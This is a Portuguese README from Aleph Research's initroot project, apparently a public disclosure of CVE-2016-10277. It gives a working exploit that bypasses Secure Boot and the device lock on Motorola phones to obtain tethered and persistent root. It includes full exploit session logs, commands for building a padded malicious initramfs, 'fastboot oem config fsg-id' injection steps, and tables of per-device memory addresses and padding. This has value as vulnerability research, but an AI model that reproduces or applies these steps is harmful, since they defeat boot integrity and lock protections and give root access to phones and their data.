alephsecurity/initrootMotorola Untethered Jailbreak: Explorando CVE-2016-10277 para bypass do Secure Boot e do bloqueio do dispositivo
Por Roee Hay / Aleph Research, HCL Technologies
Este exploit obtém acesso root irrestrito e efêmero no dispositivo.
Por exemplo, no cedric (algumas mensagens foram removidas para legibilidade):
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0xA2100000,1588596
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [ 1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ #
Este exploit obtém acesso root persistente no dispositivo.
Por exemplo, no athene (algumas mensagens foram removidas para legibilidade):
$ cd ./untethered/athene
$ ./initroot-untethered.sh
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x92000000,2505052
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [ 1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a rdinit= root=/dev/mmcblk0p41
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
rebooting...
finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ #
initroot-<device>.cpio.gz fornecido, ou produza o seu próprio:$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OU se for necessário padding:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz && rm -fr ../tmp
$ cd ..
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
adb shell agora lhe dará um shell root:$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
Leia nosso post no blog
Esta vulnerabilidade pode afetar outros dispositivos Motorola também: será necessário um initramfs diferente. Um endereço físico diferente de initrd (SCRATCH_ADDR). O PADDING também pode variar.
Demonstração em Vídeo do CVE-2016-10277
| Dispositivo | Codinome | SCRATCH_ADDR | PADDING | initrams fornecido | Partição Não Utilizada |
|---|
| Nexus 6 | shamu | 0x11000000 | 0x0 | AOSP userdebug | mmcblk0p11 |
| Moto G5 (XT1676) | cedric | 0xA0100000 | 0x2000000 | Versão de lançamento, com init e adbd modificados para desabilitar SELinux, set{u,g}id para shell, remoção de capacidades e autenticação adb, etc | mmcblk0p41 |
| Moto G4 (XT1622) | athene | 0x90000000 | 0x2000000 | "" | mmcblk0p48 |
| Dispositivo | Codinome | SCRATCH_ADDR | Relator | Descrição |
|---|
| Moto G5 Plus | potter | 0xA0100000 | drbeat | Propriedade de boot injetada. [prova] |
| Moto G4 Play (XT1607) | harpia | 0x90000000 | m-mullins | Exploração completa do Amazon XT1607. [prova] |
| Moto G4 Play (XT1609) | harpia | 0x90000000 | @utoprime | Exploração completa do Verizon XT1609. [prova] |
| Moto G4 (XT1625) | athene | 0x90000000 | @EWorcel | initrd injetado que causou boot loops. [prova] |
| Moto G3 | osprey | 0x90000000 | @asiekierka | initrd injetado que causou boot loops. [prova] |
| Moto G2 (XT1072) | thea | 0x11000000 | @TheElix | initrd injetado causou boot loops. [prova] |
| Moto G (XT1032) | falcon_retfr | 0x11000000 | Pierre Zurek | Exploração completa com 64MB de padding [prova] |
| Moto E (XT830C) | condor_cdma | 0x0E000000 | fetcher | Exploração completa do XT830C bloqueado para Tracfone/Verizon com 32MB de padding [prova] |
| Outro | - | - | @jcase | [prova] |